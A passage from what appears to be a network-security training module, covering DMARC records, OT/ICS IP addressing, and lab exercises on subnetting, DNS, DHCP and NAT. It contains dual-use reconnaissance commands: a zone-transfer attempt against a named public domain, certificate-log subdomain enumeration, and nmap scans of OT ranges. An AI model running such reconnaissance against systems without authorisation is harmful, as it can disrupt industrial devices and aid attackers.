&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TXT record at: _dmarc.domain.com
Example: _dmarc.example.com  IN TXT  "v=DMARC1; p=reject; rua=mailto:dmarc@example.com; ruf=mailto:forensics@example.com; sp=reject; adkim=s; aspf=s; pct=100"

Tags:
  p=none       Monitor only — don't reject. Use during initial deployment.
  p=quarantine Send to spam if SPF/DKIM fail. Intermediate step.
  p=reject     Reject if SPF/DKIM fail. Maximum protection.

  rua= Aggregate reports URI (where to send daily summaries)
  ruf= Forensic reports URI (where to send per-failure reports)

  sp=  Policy for subdomains (same values as p=)
  pct= Percentage of mail to apply policy to (100 = all)

  adkim= DKIM alignment: r=relaxed, s=strict
  aspf=  SPF alignment: r=relaxed, s=strict

DMARC without DKIM/SPF: useless
DMARC with p=none: monitoring only, no protection
DMARC with p=reject: strongest — phishing using your domain fails at delivery

Check DMARC:
dig TXT _dmarc.example.com
# No record: DMARC not deployed — spoofing possible even with SPF
# p=none: monitoring only
# p=reject: strong protection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Complete email security DNS audit:&lt;/span&gt;
&lt;span class="nv"&gt;DOMAIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"example.com"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== SPF ==="&lt;/span&gt;
dig TXT &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=spf1"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"NO SPF RECORD"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== DMARC ==="&lt;/span&gt;
dig TXT _dmarc.&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=DMARC1"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"NO DMARC RECORD"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== DKIM (common selectors) ==="&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;selector &lt;span class="k"&gt;in &lt;/span&gt;default google selector1 selector2 k1 s1 mail&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig TXT &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;selector&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;._domainkey.&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"v=DKIM1"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"DKIM found: selector=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;selector&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done

&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== MX records ==="&lt;/span&gt;
dig MX &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; +short

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== CAA records ==="&lt;/span&gt;
dig CAA &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; +short &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"NO CAA RECORD — any CA can issue certificates"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. IP Addressing in OT/ICS Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  14.1 Addressing Challenges Unique to OT
&lt;/h3&gt;

&lt;p&gt;Industrial control systems present IP addressing challenges that do not exist in enterprise IT:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Static vs Dynamic Addressing:&lt;/strong&gt;&lt;br&gt;
Most OT devices use static IP addresses — DHCP is rarely used for PLCs, RTUs, and IEDs. The reasons are operational:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A PLC must be reachable at a known, fixed address for the HMI to communicate with it&lt;/li&gt;
&lt;li&gt;DHCP lease renewal could theoretically interrupt communication at a critical moment&lt;/li&gt;
&lt;li&gt;Legacy devices may not support DHCP&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Static addressing in OT means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IP addresses are documented (if you're lucky) or undocumented (common)&lt;/li&gt;
&lt;li&gt;Asset inventory is manual and often out of date&lt;/li&gt;
&lt;li&gt;Scanning the network for asset discovery causes operational concerns&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Flat vs Segmented OT Networks:&lt;/strong&gt;&lt;br&gt;
Many industrial networks were designed without subnetting. Everything on one flat /24 or even /16. This is operationally simple but security catastrophic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No segmentation between HMI, PLC, historian, engineering workstation&lt;/li&gt;
&lt;li&gt;ARP poisoning reaches all devices&lt;/li&gt;
&lt;li&gt;Compromised engineering workstation can reach all PLCs directly&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The IT-OT Boundary:&lt;/strong&gt;&lt;br&gt;
The connection between corporate IT and OT networks is one of the most dangerous misconfiguration points. Common issues:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Router directly connecting IT /24 to OT /24 with no firewall&lt;/li&gt;
&lt;li&gt;VLAN separation without firewall — same L3 router handles both&lt;/li&gt;
&lt;li&gt;"Air-gapped" networks with unexpected connections (maintenance laptops, remote access for vendors)
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# OT network IP discovery (non-disruptive methods):&lt;/span&gt;
&lt;span class="c"&gt;# Passive discovery — listen only, no active scanning&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;
&lt;span class="c"&gt;# Captures source IPs from traffic — non-disruptive&lt;/span&gt;

&lt;span class="c"&gt;# Passive ARP monitoring:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arp-scan &lt;span class="nt"&gt;--localnet&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^Starting&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;^Interface&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;packets"&lt;/span&gt;
&lt;span class="c"&gt;# ARP scan is L2 — does not touch PLCs/RTUs (they ignore ARP they don't need to answer)&lt;/span&gt;

&lt;span class="c"&gt;# Active scanning RISK in OT:&lt;/span&gt;
&lt;span class="c"&gt;# Nmap to a PLC can:&lt;/span&gt;
&lt;span class="c"&gt;#   - Crash the PLC (some cannot handle SYN flood at scan speed)&lt;/span&gt;
&lt;span class="c"&gt;#   - Trigger watchdog reset&lt;/span&gt;
&lt;span class="c"&gt;#   - Fill the PLC's connection table&lt;/span&gt;
&lt;span class="c"&gt;#   - Generate alarms in the control system&lt;/span&gt;
&lt;span class="c"&gt;# ALWAYS get explicit permission from the system owner&lt;/span&gt;
&lt;span class="c"&gt;# ALWAYS use very low scan rates: nmap -T0 -sn (ping only, paranoid timing)&lt;/span&gt;
&lt;span class="c"&gt;# ALWAYS test on a non-production system first&lt;/span&gt;
&lt;span class="c"&gt;# NEVER use -sS, -sV, -A on OT devices without explicit testing&lt;/span&gt;

&lt;span class="c"&gt;# Safe active discovery for OT:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-T1&lt;/span&gt; &lt;span class="nt"&gt;-sn&lt;/span&gt; 10.20.0.0/24     &lt;span class="c"&gt;# Ping only, slow timing&lt;/span&gt;
&lt;span class="c"&gt;# Even this should be approved — some OT devices respond unexpectedly to ICMP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  14.2 DHCP in OT Environments
&lt;/h3&gt;

&lt;p&gt;While PLCs and field devices use static IPs, other OT components may use DHCP:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Engineering workstations (EWS)&lt;/li&gt;
&lt;li&gt;Human-Machine Interfaces (HMI) — some&lt;/li&gt;
&lt;li&gt;Laptops used for maintenance&lt;/li&gt;
&lt;li&gt;IP cameras and physical security devices&lt;/li&gt;
&lt;li&gt;Network switches (management interface)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A rogue DHCP server in the OT network can poison the gateway for any DHCP-configured device. If the engineering workstation's gateway is poisoned, the attacker sees all communication between the EWS and the PLCs — including ladder logic uploads, configuration changes, and diagnostic data.&lt;/p&gt;
&lt;h3&gt;
  
  
  14.3 DNS in OT Environments
&lt;/h3&gt;

&lt;p&gt;Most OT field devices (PLCs, RTUs) do not use DNS — they communicate by IP address directly, configured statically. However:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HMI and SCADA servers&lt;/strong&gt; often use DNS to resolve historian server names, license servers, update servers&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Engineering workstations&lt;/strong&gt; use DNS for everything a standard Windows machine uses DNS for&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Some modern PLCs&lt;/strong&gt; (Siemens S7-1500, Allen-Bradley CompactLogix) support DNS for tag name resolution&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;DNS for OT attack reconnaissance:&lt;/strong&gt;&lt;br&gt;
Internal OT hostnames often follow naming conventions that reveal the network structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plc-production-1.ot.company.local
hmi-controlroom.ot.company.local
historian-01.ot.company.local
ews-engineer-1.ot.company.local
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an attacker gains access to a DNS server or captures DNS traffic, these hostnames reveal the OT architecture without any active scanning.&lt;/p&gt;




&lt;h2&gt;
  
  
  15. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Binary and Subnetting Mastery (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Build a subnetting calculator from scratch in Python:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/subnet_calc.py &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/usr/bin/env python3
"""
Manual subnetting calculator — build intuition by doing it step by step
"""

def decimal_to_binary(n):
    """Convert decimal to 8-bit binary string."""
    return format(n, '08b')

def ip_to_binary(ip):
    """Convert IP string to binary string."""
    octets = [int(o) for o in ip.split('.')]
    return '.'.join(decimal_to_binary(o) for o in octets)

def binary_to_ip(binary):
    """Convert 32-bit binary string to IP."""
    # Remove dots if present
    clean = binary.replace('.', '')
    octets = [int(clean[i:i+8], 2) for i in range(0, 32, 8)]
    return '.'.join(str(o) for o in octets)

def prefix_to_mask(prefix):
    """Convert prefix length to subnet mask."""
    mask_binary = '1' * prefix + '0' * (32 - prefix)
    return binary_to_ip(mask_binary)

def subnet_info(ip, prefix):
    """Calculate all subnet information."""
    print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;{'='*50}")
    print(f"Input: {ip}/{prefix}")
    print(f"{'='*50}")

    # Convert to binary
    ip_bin = ip_to_binary(ip).replace('.', '')
    mask = prefix_to_mask(prefix)
    mask_bin = ip_to_binary(mask).replace('.', '')

    # Network address (AND)
    net_bin = ''.join('1' if ib == '1' and mb == '1' else '0'
                      for ib, mb in zip(ip_bin, mask_bin))

    # Broadcast (OR with inverted mask)
    wildcard_bin = ''.join('0' if b == '1' else '1' for b in mask_bin)
    bcast_bin = ''.join('1' if nb == '1' or wb == '1' else '0'
                        for nb, wb in zip(net_bin, wildcard_bin))

    network = binary_to_ip(net_bin)
    broadcast = binary_to_ip(bcast_bin)
    mask_str = mask
    wildcard = binary_to_ip(wildcard_bin)

    # Host count
    host_bits = 32 - prefix
    total = 2 ** host_bits
    usable = max(0, total - 2)

    # First and last host
    first_bin = net_bin[:-1] + '1' if prefix &amp;lt; 32 else net_bin
    last_bin = bcast_bin[:-1] + '0' if prefix &amp;lt; 32 else bcast_bin
    first_host = binary_to_ip(first_bin)
    last_host = binary_to_ip(last_bin)

    print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Binary representations:")
    print(f"  IP:       {ip_to_binary(ip)}")
    print(f"  Mask:     {ip_to_binary(mask)}")
    print(f"  Network:  {ip_to_binary(network)}")
    print(f"  Broadcast:{ip_to_binary(broadcast)}")

    print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Decimal values:")
    print(f"  Network address:   {network}")
    print(f"  Subnet mask:       {mask_str}")
    print(f"  Wildcard mask:     {wildcard}")
    print(f"  Broadcast address: {broadcast}")
    print(f"  First host:        {first_host}")
    print(f"  Last host:         {last_host}")
    print(f"  Usable hosts:      {usable}")

# Test cases:
subnet_info("192.168.1.100", 24)
subnet_info("10.0.0.1", 8)
subnet_info("172.16.5.200", 20)
subnet_info("192.168.10.130", 25)
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;python3 /tmp/subnet_calc.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: DNS Reconnaissance (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Complete DNS reconnaissance of a target domain&lt;/span&gt;
&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cloudflare.com"&lt;/span&gt;   &lt;span class="c"&gt;# Use a public domain — always legal to query public DNS&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Basic Records ==="&lt;/span&gt;
dig A &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short          &lt;span class="c"&gt;# IPv4&lt;/span&gt;
dig AAAA &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short       &lt;span class="c"&gt;# IPv6&lt;/span&gt;
dig MX &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short         &lt;span class="c"&gt;# Mail servers&lt;/span&gt;
dig NS &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short         &lt;span class="c"&gt;# Name servers&lt;/span&gt;
dig SOA &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short        &lt;span class="c"&gt;# SOA&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Email Security ==="&lt;/span&gt;
dig TXT &lt;span class="nv"&gt;$TARGET&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"v=spf1|v=DKIM1"&lt;/span&gt;
dig TXT _dmarc.&lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Zone Transfer Attempt ==="&lt;/span&gt;
&lt;span class="nv"&gt;NS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig NS &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
dig axfr @&lt;span class="nv"&gt;$NS&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt; 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt;
&lt;span class="c"&gt;# Should fail with "Transfer failed" — success would be a misconfiguration&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Subdomain Enumeration (passive) ==="&lt;/span&gt;
&lt;span class="c"&gt;# Using certificate transparency logs (no active scanning):&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://crt.sh/?q=%25.&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;output=json"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import json, sys
data = json.load(sys.stdin)
names = set()
for cert in data:
    for name in cert.get('name_value', '').split('&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;'):
        if name.endswith('.&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;'.replace('cloudflare.com', '')):
            names.add(name.strip())
for name in sorted(names)[:20]:
    print(name)
"&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"crt.sh query failed"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== DNSSEC Check ==="&lt;/span&gt;
dig +dnssec A &lt;span class="nv"&gt;$TARGET&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"RRSIG|AD flag"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"DNSSEC info check"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Reverse DNS on Found IPs ==="&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;ip &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;dig A &lt;span class="nv"&gt;$TARGET&lt;/span&gt; +short&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;ptr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; +short 2&amp;gt;/dev/null&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt; → &lt;/span&gt;&lt;span class="nv"&gt;$ptr&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: DHCP Analysis (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture and analyse DHCP traffic&lt;/span&gt;

&lt;span class="c"&gt;# Start DHCP capture:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s1"&gt;'port 67 or port 68'&lt;/span&gt; &amp;amp;
&lt;span class="nv"&gt;TCPDUMP_PID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$!&lt;/span&gt;

&lt;span class="c"&gt;# Trigger DHCP renewal:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dhclient &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; eth0 2&amp;gt;&amp;amp;1          &lt;span class="c"&gt;# Release&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;1
&lt;span class="nb"&gt;sudo &lt;/span&gt;dhclient &lt;span class="nt"&gt;-v&lt;/span&gt; eth0 2&amp;gt;&amp;amp;1            &lt;span class="c"&gt;# Renew&lt;/span&gt;

&lt;span class="nb"&gt;sleep &lt;/span&gt;5
&lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="nv"&gt;$TCPDUMP_PID&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Questions to answer from the capture:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== DHCP Analysis Questions ==="&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"1. What is the DHCP server IP?"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"2. What IP was offered to you?"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"3. What is the default gateway option?"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"4. What DNS servers were provided?"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"5. What is the lease time in seconds? In hours?"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"6. What is the subnet mask?"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"7. What Transaction ID was used? (Shows request-response matching)"&lt;/span&gt;

&lt;span class="c"&gt;# Check current DHCP lease:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/lib/dhclient/dhclient.leases 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/lib/NetworkManager/dhclient-&lt;span class="k"&gt;*&lt;/span&gt;.conf 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
nmcli device show eth0 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep &lt;/span&gt;DHCP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: NAT and IP Masquerading (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Configure Linux as a NAT router between two interfaces&lt;/span&gt;
&lt;span class="c"&gt;# (Requires two network interfaces — suitable for VM lab)&lt;/span&gt;

&lt;span class="c"&gt;# Identify interfaces:&lt;/span&gt;
ip &lt;span class="nb"&gt;link &lt;/span&gt;show

&lt;span class="c"&gt;# Enable IP forwarding:&lt;/span&gt;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /proc/sys/net/ipv4/ip_forward

&lt;span class="c"&gt;# Configure NAT (masquerade):&lt;/span&gt;
&lt;span class="c"&gt;# Assume: eth0 is WAN (internet side), eth1 is LAN (internal)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; POSTROUTING &lt;span class="nt"&gt;-o&lt;/span&gt; eth0 &lt;span class="nt"&gt;-j&lt;/span&gt; MASQUERADE
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-A&lt;/span&gt; FORWARD &lt;span class="nt"&gt;-i&lt;/span&gt; eth1 &lt;span class="nt"&gt;-o&lt;/span&gt; eth0 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-A&lt;/span&gt; FORWARD &lt;span class="nt"&gt;-m&lt;/span&gt; state &lt;span class="nt"&gt;--state&lt;/span&gt; RELATED,ESTABLISHED &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT

&lt;span class="c"&gt;# Verify NAT table:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt;

&lt;span class="c"&gt;# Test from a client on eth1 side:&lt;/span&gt;
&lt;span class="c"&gt;# Client should be able to reach internet through this machine&lt;/span&gt;

&lt;span class="c"&gt;# Enable NAT logging (critical for forensics):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; POSTROUTING &lt;span class="nt"&gt;-o&lt;/span&gt; eth0 &lt;span class="nt"&gt;-j&lt;/span&gt; LOG &lt;span class="nt"&gt;--log-prefix&lt;/span&gt; &lt;span class="s2"&gt;"NAT: "&lt;/span&gt; &lt;span class="nt"&gt;--log-level&lt;/span&gt; 6
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-t&lt;/span&gt; nat &lt;span class="nt"&gt;-A&lt;/span&gt; POSTROUTING &lt;span class="nt"&gt;-o&lt;/span&gt; eth0 &lt;span class="nt"&gt;-j&lt;/span&gt; MASQUERADE

&lt;span class="c"&gt;# View NAT log:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dmesg | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"NAT:"&lt;/span&gt;
&lt;span class="c"&gt;# Or: journalctl -k | grep "NAT:"&lt;/span&gt;

&lt;span class="c"&gt;# View current NAT connections:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;conntrack &lt;span class="nt"&gt;-L&lt;/span&gt; 2&amp;gt;/dev/null    &lt;span class="c"&gt;# Requires conntrack package&lt;/span&gt;
&lt;span class="c"&gt;# Shows all active NAT translations in real time&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 5: Complete Network Audit Script
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Build a network audit script that combines all concepts from this module&lt;/span&gt;

&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/network_audit.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
# Network Security Audit — Stage 1.4 Exercise
# Collects network configuration and highlights security concerns

echo "===== NETWORK SECURITY AUDIT ====="
echo "Timestamp: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo ""

echo "--- Interfaces and Addresses ---"
